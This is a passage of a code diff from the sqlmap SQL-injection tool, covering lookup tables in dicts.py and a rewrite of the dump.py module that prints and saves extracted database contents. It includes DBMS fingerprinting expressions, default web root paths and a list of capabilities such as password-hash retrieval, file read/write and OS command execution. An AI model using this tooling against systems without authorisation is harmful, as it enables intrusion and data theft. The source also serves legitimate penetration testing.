"nvarchar", + 1: "char", + 24: "nchar", + 4: "varbinary", + 80: "timestamp", + 3: "binary", + 19: "text", + 20: "image", +} + +ALTIBASE_TYPES = { + 1: "CHAR", + 12: "VARCHAR", + -8: "NCHAR", + -9: "NVARCHAR", + 2: "NUMERIC", + 6: "FLOAT", + 8: "DOUBLE", + 7: "REAL", + -5: "BIGINT", + 4: "INTEGER", + 5: "SMALLINT", + 9: "DATE", + 30: "BLOB", + 40: "CLOB", + 20001: "BYTE", + 20002: "NIBBLE", + -7: "BIT", + -100: "VARBIT", + 10003: "GEOMETRY", +} + +MYSQL_PRIVS = { + 1: "select_priv", + 2: "insert_priv", + 3: "update_priv", + 4: "delete_priv", + 5: "create_priv", + 6: "drop_priv", + 7: "reload_priv", + 8: "shutdown_priv", + 9: "process_priv", + 10: "file_priv", + 11: "grant_priv", + 12: "references_priv", + 13: "index_priv", + 14: "alter_priv", + 15: "show_db_priv", + 16: "super_priv", + 17: "create_tmp_table_priv", + 18: "lock_tables_priv", + 19: "execute_priv", + 20: "repl_slave_priv", + 21: "repl_client_priv", + 22: "create_view_priv", + 23: "show_view_priv", + 24: "create_routine_priv", + 25: "alter_routine_priv", + 26: "create_user_priv", +} + +PGSQL_PRIVS = { + 1: "createdb", + 2: "super", + 3: "replication", +} + +# Reference(s): http://stackoverflow.com/a/17672504 +# http://docwiki.embarcadero.com/InterBase/XE7/en/RDB$USER_PRIVILEGES + +FIREBIRD_PRIVS = { + "S": "SELECT", + "I": "INSERT", + "U": "UPDATE", + "D": "DELETE", + "R": "REFERENCE", + "X": "EXECUTE", + "A": "ALL", + "M": "MEMBER", + "T": "DECRYPT", + "E": "ENCRYPT", + "B": "SUBSCRIBE", +} + +# Reference(s): https://www.ibm.com/support/knowledgecenter/SSGU8G_12.1.0/com.ibm.sqls.doc/ids_sqs_0147.htm +# https://www.ibm.com/support/knowledgecenter/SSGU8G_11.70.0/com.ibm.sqlr.doc/ids_sqr_077.htm + +INFORMIX_PRIVS = { + "D": "DBA (all privileges)", + "R": "RESOURCE (create UDRs, UDTs, permanent tables and indexes)", + "C": "CONNECT (work with existing tables)", + "G": "ROLE", + "U": "DEFAULT (implicit connection)", +} + +DB2_PRIVS = { + 1: "CONTROLAUTH", + 2: "ALTERAUTH", + 3: "DELETEAUTH", + 4: "INDEXAUTH", + 5: "INSERTAUTH", + 6: "REFAUTH", + 7: "SELECTAUTH", + 8: "UPDATEAUTH", +} + +DUMP_REPLACEMENTS = {" ": NULL, "": BLANK} + +DBMS_DICT = { + DBMS.MSSQL: (MSSQL_ALIASES, "python-pymssql", "https://github.com/pymssql/pymssql", "mssql+pymssql"), + DBMS.MYSQL: (MYSQL_ALIASES, "python-pymysql", "https://github.com/PyMySQL/PyMySQL", "mysql"), + DBMS.PGSQL: (PGSQL_ALIASES, "python-psycopg2", "https://github.com/psycopg/psycopg2", "postgresql"), + DBMS.ORACLE: (ORACLE_ALIASES, "python-oracledb", "https://oracle.github.io/python-oracledb/", "oracle"), + DBMS.SQLITE: (SQLITE_ALIASES, "python-sqlite", "https://docs.python.org/3/library/sqlite3.html", "sqlite"), + DBMS.ACCESS: (ACCESS_ALIASES, "python-pyodbc", "https://github.com/mkleehammer/pyodbc", "access"), + DBMS.FIREBIRD: (FIREBIRD_ALIASES, "python-kinterbasdb", "https://kinterbasdb.sourceforge.net/", "firebird"), + DBMS.MAXDB: (MAXDB_ALIASES, None, None, "maxdb"), + DBMS.SYBASE: (SYBASE_ALIASES, "python-pymssql", "https://github.com/pymssql/pymssql", "sybase"), + DBMS.DB2: (DB2_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"), + DBMS.HSQLDB: (HSQLDB_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & https://github.com/jpype-project/jpype", None), + DBMS.H2: (H2_ALIASES, None, None, None), + DBMS.INFORMIX: (INFORMIX_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"), + DBMS.MONETDB: (MONETDB_ALIASES, "pymonetdb", "https://github.com/gijzelaerr/pymonetdb", "monetdb"), + DBMS.DERBY: (DERBY_ALIASES, "pydrda", "https://github.com/nakagami/pydrda/", None), + DBMS.VERTICA: (VERTICA_ALIASES, "vertica-python", "https://github.com/vertica/vertica-python", "vertica+vertica_python"), + DBMS.MCKOI: (MCKOI_ALIASES, None, None, None), + DBMS.PRESTO: (PRESTO_ALIASES, "presto-python-client", "https://github.com/prestodb/presto-python-client", None), + DBMS.ALTIBASE: (ALTIBASE_ALIASES, None, None, None), + DBMS.MIMERSQL: (MIMERSQL_ALIASES, "mimerpy", "https://github.com/mimersql/MimerPy", None), + DBMS.CLICKHOUSE: (CLICKHOUSE_ALIASES, "clickhouse_connect", "https://github.com/ClickHouse/clickhouse-connect", None), + DBMS.CRATEDB: (CRATEDB_ALIASES, "python-psycopg2", "https://github.com/psycopg/psycopg2", "postgresql"), + DBMS.CUBRID: (CUBRID_ALIASES, "CUBRID-Python", "https://github.com/CUBRID/cubrid-python", None), + DBMS.CACHE: (CACHE_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & https://github.com/jpype-project/jpype", None), + DBMS.EXTREMEDB: (EXTREMEDB_ALIASES, None, None, None), + DBMS.FRONTBASE: (FRONTBASE_ALIASES, None, None, None), + DBMS.RAIMA: (RAIMA_ALIASES, None, None, None), + DBMS.VIRTUOSO: (VIRTUOSO_ALIASES, None, None, None), + DBMS.SNOWFLAKE: (SNOWFLAKE_ALIASES, None, None, "snowflake"), +} + +# Reference: https://blog.jooq.org/tag/sysibm-sysdummy1/ +FROM_DUMMY_TABLE = { + DBMS.ORACLE: " FROM DUAL", + DBMS.ACCESS: " FROM MSysAccessObjects", + DBMS.FIREBIRD: " FROM RDB$DATABASE", + DBMS.MAXDB: " FROM DUAL", + DBMS.DB2: " FROM SYSIBM.SYSDUMMY1", + DBMS.HSQLDB: " FROM INFORMATION_SCHEMA.SYSTEM_USERS", + DBMS.INFORMIX: " FROM SYSMASTER:SYSDUAL", + DBMS.DERBY: " FROM SYSIBM.SYSDUMMY1", + DBMS.MIMERSQL: " FROM SYSTEM.ONEROW", + DBMS.FRONTBASE: " FROM INFORMATION_SCHEMA.IO_STATISTICS" +} + +HEURISTIC_NULL_EVAL = { + DBMS.ACCESS: "CVAR(NULL)", + DBMS.MAXDB: "ALPHA(NULL)", + DBMS.MSSQL: "PARSENAME(NULL,NULL)", + DBMS.MYSQL: "IFNULL(QUARTER(NULL),NULL XOR NULL)", # NOTE: previous form (i.e., QUARTER(NULL XOR NULL)) was bad as some optimization engines wrongly evaluate QUARTER(NULL XOR NULL) to 0 + DBMS.ORACLE: "INSTR2(NULL,NULL)", + DBMS.PGSQL: "QUOTE_IDENT(NULL)", + DBMS.SQLITE: "JULIANDAY(NULL)", + DBMS.H2: "STRINGTOUTF8(NULL)", + DBMS.MONETDB: "CODE(NULL)", + DBMS.DERBY: "NULLIF(USER,SESSION_USER)", + DBMS.VERTICA: "BITSTRING_TO_BINARY(NULL)", + DBMS.MCKOI: "TONUMBER(NULL)", + DBMS.PRESTO: "FROM_HEX(NULL)", + DBMS.ALTIBASE: "TDESENCRYPT(NULL,NULL)", + DBMS.MIMERSQL: "ASCII_CHAR(256)", + DBMS.CRATEDB: "MD5(NULL~NULL)", # NOTE: NULL~NULL also being evaluated on H2 and Ignite + DBMS.CUBRID: "(NULL SETEQ NULL)", + DBMS.CACHE: "%SQLUPPER NULL", + DBMS.EXTREMEDB: "NULLIFZERO(hashcode(NULL))", + DBMS.RAIMA: "IF(ROWNUMBER()>0,CONVERT(NULL,TINYINT),NULL)", + DBMS.VIRTUOSO: "__MAX_NOTNULL(NULL)", + DBMS.CLICKHOUSE: "halfMD5(NULL)", + DBMS.SNOWFLAKE: "BOOLNOT(NULL)", +} + +SQL_STATEMENTS = { + "SQL SELECT statement": ( + "select ", + "show ", + " top ", + " distinct ", + " from ", + " from dual", + " where ", + " group by ", + " order by ", + " having ", + " limit ", + " offset ", + " union all ", + " rownum as ", + "(case ", + ), + + "SQL data definition": ( + "create ", + "declare ", + "drop ", + "truncate ", + "alter ", + ), + + "SQL data manipulation": ( + "bulk ", + "insert ", + "update ", + "delete ", + "merge ", + "copy ", + "load ", + ), + + "SQL data control": ( + "grant ", + "revoke ", + ), + + "SQL data execution": ( + "exec ", + "execute ", + "values ", + "call ", + ), + + "SQL transaction": ( + "start transaction ", + "begin work ", + "begin transaction ", + "commit ", + "rollback ", + ), + + "SQL administration": ( + "set ", + ), +} + +POST_HINT_CONTENT_TYPES = { + POST_HINT.JSON: "application/json", + POST_HINT.JSON_LIKE: "application/json", + POST_HINT.MULTIPART: "multipart/form-data", + POST_HINT.SOAP: "application/soap+xml", + POST_HINT.XML: "application/xml", + POST_HINT.ARRAY_LIKE: "application/x-www-form-urlencoded; charset=utf-8", +} + +OBSOLETE_OPTIONS = { + "--replicate": "use '--dump-format=SQLITE' instead", + "--no-unescape": "use '--no-escape' instead", + "--binary": "use '--binary-fields' instead", + "--auth-private": "use '--auth-file' instead", + "--ignore-401": "use '--ignore-code' instead", + "--second-order": "use '--second-url' instead", + "--purge-output": "use '--purge' instead", + "--sqlmap-shell": "use '--shell' instead", + "--check-payload": None, + "--check-waf": None, + "--pickled-options": "use '--api -c ...' instead", + "--identify-waf": "functionality being done automatically", +} + +DEPRECATED_OPTIONS = { +} + +DUMP_DATA_PREPROCESS = { + DBMS.ORACLE: {"XMLTYPE": "(%s).getStringVal()"}, + DBMS.MSSQL: { + "IMAGE": "CONVERT(VARBINARY(MAX),%s)", + "GEOMETRY": "(%s).STAsText()", + "GEOGRAPHY": "(%s).STAsText()" + }, + DBMS.PGSQL: { + "GEOMETRY": "ST_AsText(%s)", + "GEOGRAPHY": "ST_AsText(%s)" + }, + DBMS.MYSQL: { + "GEOMETRY": "ST_AsText(%s)" + } +} + +DEFAULT_DOC_ROOTS = { + OS.WINDOWS: ("C:/xampp/htdocs/", "C:/wamp/www/", "C:/Inetpub/wwwroot/"), + OS.LINUX: ("/var/www/", "/var/www/html", "/var/www/htdocs", "/usr/local/apache2/htdocs", "/usr/local/www/data", "/var/apache2/htdocs", "/var/www/nginx-default", "/srv/www/htdocs", "/usr/local/var/www", "/usr/share/nginx/html") +} + +PART_RUN_CONTENT_TYPES = { + "checkDbms": CONTENT_TYPE.TECHNIQUES, + "getFingerprint": CONTENT_TYPE.DBMS_FINGERPRINT, + "getBanner": CONTENT_TYPE.BANNER, + "getCurrentUser": CONTENT_TYPE.CURRENT_USER, + "getCurrentDb": CONTENT_TYPE.CURRENT_DB, + "getHostname": CONTENT_TYPE.HOSTNAME, + "isDba": CONTENT_TYPE.IS_DBA, + "getUsers": CONTENT_TYPE.USERS, + "getPasswordHashes": CONTENT_TYPE.PASSWORDS, + "getPrivileges": CONTENT_TYPE.PRIVILEGES, + "getRoles": CONTENT_TYPE.ROLES, + "getDbs": CONTENT_TYPE.DBS, + "getTables": CONTENT_TYPE.TABLES, + "getColumns": CONTENT_TYPE.COLUMNS, + "getSchema": CONTENT_TYPE.SCHEMA, + "getCount": CONTENT_TYPE.COUNT, + "dumpTable": CONTENT_TYPE.DUMP_TABLE, + "search": CONTENT_TYPE.SEARCH, + "sqlQuery": CONTENT_TYPE.SQL_QUERY, + "tableExists": CONTENT_TYPE.COMMON_TABLES, + "columnExists": CONTENT_TYPE.COMMON_COLUMNS, + "readFile": CONTENT_TYPE.FILE_READ, + "writeFile": CONTENT_TYPE.FILE_WRITE, + "osCmd": CONTENT_TYPE.OS_CMD, + "regRead": CONTENT_TYPE.REG_READ +} + +# Reference: http://www.w3.org/TR/1999/REC-html401-19991224/sgml/entities.html + +HTML_ENTITIES = { + "quot": 34, + "amp": 38, + "apos": 39, + "lt": 60, + "gt": 62, + "nbsp": 160, + "iexcl": 161, + "cent": 162, + "pound": 163, + "curren": 164, + "yen": 165, + "brvbar": 166, + "sect": 167, + "uml": 168, + "copy": 169, + "ordf": 170, + "laquo": 171, + "not": 172, + "shy": 173, + "reg": 174, + "macr": 175, + "deg": 176, + "plusmn": 177, + "sup2": 178, + "sup3": 179, + "acute": 180, + "micro": 181, + "para": 182, + "middot": 183, + "cedil": 184, + "sup1": 185, + "ordm": 186, + "raquo": 187, + "frac14": 188, + "frac12": 189, + "frac34": 190, + "iquest": 191, + "Agrave": 192, + "Aacute": 193, + "Acirc": 194, + "Atilde": 195, + "Auml": 196, + "Aring": 197, + "AElig": 198, + "Ccedil": 199, + "Egrave": 200, + "Eacute": 201, + "Ecirc": 202, + "Euml": 203, + "Igrave": 204, + "Iacute": 205, + "Icirc": 206, + "Iuml": 207, + "ETH": 208, + "Ntilde": 209, + "Ograve": 210, + "Oacute": 211, + "Ocirc": 212, + "Otilde": 213, + "Ouml": 214, + "times": 215, + "Oslash": 216, + "Ugrave": 217, + "Uacute": 218, + "Ucirc": 219, + "Uuml": 220, + "Yacute": 221, + "THORN": 222, + "szlig": 223, + "agrave": 224, + "aacute": 225, + "acirc": 226, + "atilde": 227, + "auml": 228, + "aring": 229, + "aelig": 230, + "ccedil": 231, + "egrave": 232, + "eacute": 233, + "ecirc": 234, + "euml": 235, + "igrave": 236, + "iacute": 237, + "icirc": 238, + "iuml": 239, + "eth": 240, + "ntilde": 241, + "ograve": 242, + "oacute": 243, + "ocirc": 244, + "otilde": 245, + "ouml": 246, + "divide": 247, + "oslash": 248, + "ugrave": 249, + "uacute": 250, + "ucirc": 251, + "uuml": 252, + "yacute": 253, + "thorn": 254, + "yuml": 255, + "OElig": 338, + "oelig": 339, + "Scaron": 352, + "fnof": 402, + "scaron": 353, + "Yuml": 376, + "circ": 710, + "tilde": 732, + "Alpha": 913, + "Beta": 914, + "Gamma": 915, + "Delta": 916, + "Epsilon": 917, + "Zeta": 918, + "Eta": 919, + "Theta": 920, + "Iota": 921, + "Kappa": 922, + "Lambda": 923, + "Mu": 924, + "Nu": 925, + "Xi": 926, + "Omicron": 927, + "Pi": 928, + "Rho": 929, + "Sigma": 931, + "Tau": 932, + "Upsilon": 933, + "Phi": 934, + "Chi": 935, + "Psi": 936, + "Omega": 937, + "alpha": 945, + "beta": 946, + "gamma": 947, + "delta": 948, + "epsilon": 949, + "zeta": 950, + "eta": 951, + "theta": 952, + "iota": 953, + "kappa": 954, + "lambda": 955, + "mu": 956, + "nu": 957, + "xi": 958, + "omicron": 959, + "pi": 960, + "rho": 961, + "sigmaf": 962, + "sigma": 963, + "tau": 964, + "upsilon": 965, + "phi": 966, + "chi": 967, + "psi": 968, + "omega": 969, + "thetasym": 977, + "upsih": 978, + "piv": 982, + "bull": 8226, + "hellip": 8230, + "prime": 8242, + "Prime": 8243, + "oline": 8254, + "frasl": 8260, + "ensp": 8194, + "emsp": 8195, + "thinsp": 8201, + "zwnj": 8204, + "zwj": 8205, + "lrm": 8206, + "rlm": 8207, + "ndash": 8211, + "mdash": 8212, + "lsquo": 8216, + "rsquo": 8217, + "sbquo": 8218, + "ldquo": 8220, + "rdquo": 8221, + "bdquo": 8222, + "dagger": 8224, + "Dagger": 8225, + "permil": 8240, + "lsaquo": 8249, + "rsaquo": 8250, + "euro": 8364, + "weierp": 8472, + "image": 8465, + "real": 8476, + "trade": 8482, + "alefsym": 8501, + "larr": 8592, + "uarr": 8593, + "rarr": 8594, + "darr": 8595, + "harr": 8596, + "crarr": 8629, + "lArr": 8656, + "uArr": 8657, + "rArr": 8658, + "dArr": 8659, + "hArr": 8660, + "forall": 8704, + "part": 8706, + "exist": 8707, + "empty": 8709, + "nabla": 8711, + "isin": 8712, + "notin": 8713, + "ni": 8715, + "prod": 8719, + "sum": 8721, + "minus": 8722, + "lowast": 8727, + "radic": 8730, + "prop": 8733, + "infin": 8734, + "ang": 8736, + "and": 8743, + "or": 8744, + "cap": 8745, + "cup": 8746, + "int": 8747, + "there4": 8756, + "sim": 8764, + "cong": 8773, + "asymp": 8776, + "ne": 8800, + "equiv": 8801, + "le": 8804, + "ge": 8805, + "sub": 8834, + "sup": 8835, + "nsub": 8836, + "sube": 8838, + "supe": 8839, + "oplus": 8853, + "otimes": 8855, + "perp": 8869, + "sdot": 8901, + "lceil": 8968, + "rceil": 8969, + "lfloor": 8970, + "rfloor": 8971, + "lang": 9001, + "rang": 9002, + "loz": 9674, + "spades": 9824, + "clubs": 9827, + "hearts": 9829, + "diams": 9830 +} diff --git a/lib/core/dump.py b/lib/core/dump.py index 9c569adf442..aa50ae07c4c 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -1,43 +1,69 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -import codecs -import re +import hashlib import os -import StringIO +import re +import shutil +import tempfile import threading from lib.core.common import Backend +from lib.core.common import checkFile from lib.core.common import dataToDumpFile from lib.core.common import dataToStdout -from lib.core.common import getUnicode +from lib.core.common import filterNone +from lib.core.common import getSafeExString from lib.core.common import isListLike +from lib.core.common import isNoneValue from lib.core.common import normalizeUnicode from lib.core.common import openFile from lib.core.common import prioritySortColumns +from lib.core.common import randomInt from lib.core.common import safeCSValue +from lib.core.common import unArrayizeValue from lib.core.common import unsafeSQLIdentificatorNaming +from lib.core.compat import xrange +from lib.core.convert import getBytes +from lib.core.convert import getConsoleLength +from lib.core.convert import getText +from lib.core.convert import getUnicode +from lib.core.convert import htmlEscape from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger +from lib.core.dicts import DUMP_REPLACEMENTS +from lib.core.enums import CONTENT_STATUS +from lib.core.enums import CONTENT_TYPE from lib.core.enums import DBMS -from lib.core.exception import sqlmapGenericException -from lib.core.exception import sqlmapValueException +from lib.core.enums import DUMP_FORMAT +from lib.core.exception import SqlmapGenericException +from lib.core.exception import SqlmapSystemException +from lib.core.exception import SqlmapValueException from lib.core.replication import Replication -from lib.core.settings import BLANK -from lib.core.settings import NULL +from lib.core.settings import CHECK_SQLITE_TYPE_THRESHOLD +from lib.core.settings import DUMP_FILE_BUFFER_SIZE +from lib.core.settings import HTML_DUMP_CSS_STYLE +from lib.core.settings import IS_WIN +from lib.core.settings import METADB_SUFFIX +from lib.core.settings import MIN_BINARY_DISK_DUMP_SIZE from lib.core.settings import TRIM_STDOUT_DUMP_SIZE from lib.core.settings import UNICODE_ENCODING - -class Dump: +from lib.core.settings import UNSAFE_DUMP_FILEPATH_REPLACEMENT +from lib.core.settings import VERSION_STRING +from lib.core.settings import WINDOWS_RESERVED_NAMES +from lib.utils.safe2bin import safechardecode +from thirdparty import six +from thirdparty.magic import magic + +class Dump(object): """ This class defines methods used to parse and output the results of SQL injection actions - """ def __init__(self): @@ -45,62 +71,96 @@ def __init__(self): self._outputFP = None self._lock = threading.Lock() - def _write(self, data, n=True, console=True): - text = "%s%s" % (data, "\n" if n else " ") - if console: + def _write(self, data, newline=True, console=True, content_type=None): + text = "%s%s" % (data, "\n" if newline else " ") + + if conf.api: + dataToStdout(data, contentType=content_type, status=CONTENT_STATUS.COMPLETE) + + elif console: dataToStdout(text) - if kb.get("multiThreadMode"): - self._lock.acquire() + if self._outputFP: + multiThreadMode = kb.multiThreadMode + if multiThreadMode: + self._lock.acquire() - self._outputFP.write(text) + try: + self._outputFP.write(text) + except IOError as ex: + errMsg = "error occurred while writing to log file ('%s')" % getSafeExString(ex) + raise SqlmapGenericException(errMsg) - if kb.get("multiThreadMode"): - self._lock.release() + if multiThreadMode: + self._lock.release() kb.dataOutputFlag = True + def flush(self): + if self._outputFP: + try: + self._outputFP.flush() + except IOError: + pass + def setOutputFile(self): - self._outputFile = "%s%slog" % (conf.outputPath, os.sep) + if conf.noLogging: + self._outputFP = None + return + + self._outputFile = os.path.join(conf.outputPath, "log") try: - self._outputFP = codecs.open(self._outputFile, "ab", UNICODE_ENCODING) - except IOError, ex: - errMsg = "error occurred while opening log file ('%s')" % ex - raise sqlmapGenericException, errMsg + self._outputFP = openFile(self._outputFile, 'a' if not conf.flushSession else 'w') + except IOError as ex: + errMsg = "error occurred while opening log file ('%s')" % getSafeExString(ex) + raise SqlmapGenericException(errMsg) - def getOutputFile(self): - return self._outputFile + def singleString(self, data, content_type=None): + self._write(data, content_type=content_type) + + def string(self, header, data, content_type=None, sort=True): + if conf.api: + self._write(data, content_type=content_type) + + if isListLike(data) and len(data) == 1: + data = unArrayizeValue(data) - def string(self, header, data, sort=True): if isListLike(data): - self.lister(header, data, sort) - elif data: - data = getUnicode(data) + self.lister(header, data, content_type, sort) + elif data is not None: + _ = getUnicode(data) - if data[-1] == '\n': - data = data[:-1] + if _.endswith("\r\n"): + _ = _[:-2] - if "\n" in data: - self._write("%s:\n---\n%s\n---\n" % (header, data)) - else: - self._write("%s: '%s'\n" % (header, data)) - else: - self._write("%s:\tNone\n" % header) + elif _.endswith("\n"): + _ = _[:-1] - def lister(self, header, elements, sort=True): - if elements: - self._write("%s [%d]:" % (header, len(elements))) + if _.strip(' '): + _ = _.strip(' ') - if sort: + if "\n" in _: + self._write("%s:\n---\n%s\n---" % (header, _)) + else: + self._write("%s: %s" % (header, ("'%s'" % _) if isinstance(data, six.string_types) else _)) + + def lister(self, header, elements, content_type=None, sort=True): + if elements and sort: try: elements = set(elements) elements = list(elements) - elements.sort(key=lambda x: x.lower() if isinstance(x, basestring) else x) + elements.sort(key=lambda _: _.lower() if hasattr(_, "lower") else _) except: pass + if conf.api: + self._write(elements, content_type=content_type) + + if elements: + self._write("%s [%d]:" % (header, len(elements))) + for element in elements: - if isinstance(element, basestring): + if isinstance(element, six.string_types): self._write("[*] %s" % element) elif isListLike(element): self._write("[*] " + ", ".join(getUnicode(e) for e in element)) @@ -108,46 +168,52 @@ def lister(self, header, elements, sort=True): if elements: self._write("") - def technic(self, header, data): - self.string(header, data) - - def banner(self,data): - self.string("banner", data) + def banner(self, data): + self.string("banner", data, content_type=CONTENT_TYPE.BANNER) - def currentUser(self,data): - self.string("current user", data) + def currentUser(self, data): + self.string("current user", data, content_type=CONTENT_TYPE.CURRENT_USER) - def currentDb(self,data): - if Backend.isDbms(DBMS.MAXDB): - self.string("current database (no practical usage on %s)" % Backend.getIdentifiedDbms(), data) - elif Backend.isDbms(DBMS.ORACLE): - self.string("current schema (equivalent to database on %s)" % Backend.getIdentifiedDbms(), data) + def currentDb(self, data): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE, DBMS.SNOWFLAKE): + self.string("current database (equivalent to schema on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB) + elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE, DBMS.DB2, DBMS.MIMERSQL, DBMS.MAXDB, DBMS.VIRTUOSO): + self.string("current database (equivalent to owner on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB) else: - self.string("current database", data) + self.string("current database", data, content_type=CONTENT_TYPE.CURRENT_DB) - def dba(self,data): - self.string("current user is DBA", data) + def hostname(self, data): + self.string("hostname", data, content_type=CONTENT_TYPE.HOSTNAME) - def users(self,users): - self.lister("database management system users", users) + def dba(self, data): + self.string("current user is DBA", data, content_type=CONTENT_TYPE.IS_DBA) - def userSettings(self, header, userSettings, subHeader): - self._areAdmins = set() + def users(self, users): + self.lister("database management system users", users, content_type=CONTENT_TYPE.USERS) - if userSettings: - self._write("%s:" % header) + def statements(self, statements): + self.lister("SQL statements", statements, content_type=CONTENT_TYPE.STATEMENTS) + + def userSettings(self, header, userSettings, subHeader, content_type=None): + self._areAdmins = set() if isinstance(userSettings, (tuple, list, set)): self._areAdmins = userSettings[1] userSettings = userSettings[0] - users = userSettings.keys() - users.sort(key=lambda x: x.lower() if isinstance(x, basestring) else x) + users = [_ for _ in userSettings.keys() if _ is not None] + users.sort(key=lambda _: _.lower() if hasattr(_, "lower") else _) + + if conf.api: + self._write(userSettings, content_type=content_type) + + if userSettings: + self._write("%s:" % header) for user in users: - settings = userSettings[user] + settings = filterNone(userSettings[user]) - if settings is None: + if isNoneValue(settings): stringSettings = "" else: stringSettings = " [%d]:" % len(settings) @@ -162,13 +228,18 @@ def userSettings(self, header, userSettings, subHeader): for setting in settings: self._write(" %s: %s" % (subHeader, setting)) - print - def dbs(self,dbs): - self.lister("available databases", dbs) + if userSettings: + self.singleString("") + + def dbs(self, dbs): + self.lister("available databases", dbs, content_type=CONTENT_TYPE.DBS) def dbTables(self, dbTables): if isinstance(dbTables, dict) and len(dbTables) > 0: + if conf.api: + self._write(dbTables, content_type=CONTENT_TYPE.TABLES) + maxlength = 0 for tables in dbTables.values(): @@ -176,14 +247,14 @@ def dbTables(self, dbTables): if table and isListLike(table): table = table[0] - maxlength = max(maxlength, len(normalizeUnicode(table) or str(table))) + maxlength = max(maxlength, getConsoleLength(unsafeSQLIdentificatorNaming(getUnicode(table)))) lines = "-" * (int(maxlength) + 2) for db, tables in dbTables.items(): - tables.sort() + tables = sorted(filter(None, tables)) - self._write("Database: %s" % db if db else "Current database") + self._write("Database: %s" % unsafeSQLIdentificatorNaming(db) if db and METADB_SUFFIX not in db else "") if len(tables) == 1: self._write("[1 table]") @@ -196,17 +267,21 @@ def dbTables(self, dbTables): if table and isListLike(table): table = table[0] - blank = " " * (maxlength - len(normalizeUnicode(table) or str(table))) + table = unsafeSQLIdentificatorNaming(table) + blank = " " * (maxlength - getConsoleLength(getUnicode(table))) self._write("| %s%s |" % (table, blank)) self._write("+%s+\n" % lines) elif dbTables is None or len(dbTables) == 0: - print "No tables found" + self.singleString("No tables found", content_type=CONTENT_TYPE.TABLES) else: - self.string("tables", dbTables) + self.string("tables", dbTables, content_type=CONTENT_TYPE.TABLES) - def dbTableColumns(self, tableColumns): + def dbTableColumns(self, tableColumns, content_type=None): if isinstance(tableColumns, dict) and len(tableColumns) > 0: + if conf.api: + self._write(tableColumns, content_type=content_type) + for db, tables in tableColumns.items(): if not db: db = "All" @@ -217,12 +292,13 @@ def dbTableColumns(self, tableColumns): colType = None - colList = columns.keys() - colList.sort(key=lambda x: x.lower() if isinstance(x, basestring) else x) + colList = list(columns.keys()) + colList.sort(key=lambda _: _.lower() if hasattr(_, "lower") else _) for column in colList: colType = columns[column] + column = unsafeSQLIdentificatorNaming(column) maxlength1 = max(maxlength1, len(column or "")) maxlength2 = max(maxlength2, len(colType or "")) @@ -233,7 +309,7 @@ def dbTableColumns(self, tableColumns): maxlength2 = max(maxlength2, len("TYPE")) lines2 = "-" * (maxlength2 + 2) - self._write("Database: %s\nTable: %s" % (db if db else "Current database", table)) + self._write("Database: %s\nTable: %s" % (unsafeSQLIdentificatorNaming(db) if db and METADB_SUFFIX not in db else "", unsafeSQLIdentificatorNaming(table))) if len(columns) == 1: self._write("[1 column]") @@ -259,6 +335,8 @@ def dbTableColumns(self, tableColumns): for column in colList: colType = columns[column] + + column = unsafeSQLIdentificatorNaming(column) blank1 = " " * (maxlength1 - len(column)) if colType is not None: @@ -274,16 +352,19 @@ def dbTableColumns(self, tableColumns): def dbTablesCount(self, dbTables): if isinstance(dbTables, dict) and len(dbTables) > 0: + if conf.api: + self._write(dbTables, content_type=CONTENT_TYPE.COUNT) + maxlength1 = len("Table") maxlength2 = len("Entries") for ctables in dbTables.values(): for tables in ctables.values(): for table in tables: - maxlength1 = max(maxlength1, len(normalizeUnicode(table) or str(table))) + maxlength1 = max(maxlength1, getConsoleLength(getUnicode(table))) for db, counts in dbTables.items(): - self._write("Database: %s" % db if db else "Current database") + self._write("Database: %s" % unsafeSQLIdentificatorNaming(db) if db and METADB_SUFFIX not in db else "") lines1 = "-" * (maxlength1 + 2) blank1 = " " * (maxlength1 - len("Table")) @@ -294,7 +375,7 @@ def dbTablesCount(self, dbTables): self._write("| Table%s | Entries%s |" % (blank1, blank2)) self._write("+%s+%s+" % (lines1, lines2)) - sortedCounts = counts.keys() + sortedCounts = list(counts.keys()) sortedCounts.sort(reverse=True) for count in sortedCounts: @@ -303,10 +384,10 @@ def dbTablesCount(self, dbTables): if count is None: count = "Unknown" - tables.sort(key=lambda x: x.lower() if isinstance(x, basestring) else x) + tables.sort(key=lambda _: _.lower() if hasattr(_, "lower") else _) for table in tables: - blank1 = " " * (maxlength1 - len(normalizeUnicode(table) or str(table))) + blank1 = " " * (maxlength1 - getConsoleLength(getUnicode(table))) blank2 = " " * (maxlength2 - len(str(count))) self._write("| %s%s | %d%s |" % (table, blank1, count, blank2)) @@ -317,6 +398,9 @@ def dbTablesCount(self, dbTables): def dbTableValues(self, tableValues): replication = None rtable = None + dumpFP = None + appendToFile = False + warnFile = False if tableValues is None: return @@ -326,23 +410,95 @@ def dbTableValues(self, tableValues): db = "All" table = tableValues["__infos__"]["table"] - if conf.replicate: - replication = Replication("%s%s%s.sqlite3" % (conf.dumpPath, os.sep, unsafeSQLIdentificatorNaming(db))) - else: - dumpDbPath = "%s%s%s" % (conf.dumpPath, os.sep, unsafeSQLIdentificatorNaming(db)) + if conf.api: + self._write(tableValues, content_type=CONTENT_TYPE.DUMP_TABLE) + try: + dumpDbPath = os.path.join(conf.dumpPath, unsafeSQLIdentificatorNaming(db)) + except UnicodeError: + try: + dumpDbPath = os.path.join(conf.dumpPath, normalizeUnicode(unsafeSQLIdentificatorNaming(db))) + except (UnicodeError, OSError): + tempDir = tempfile.mkdtemp(prefix="sqlmapdb") + warnMsg = "currently unable to use regular dump directory. " + warnMsg += "Using temporary 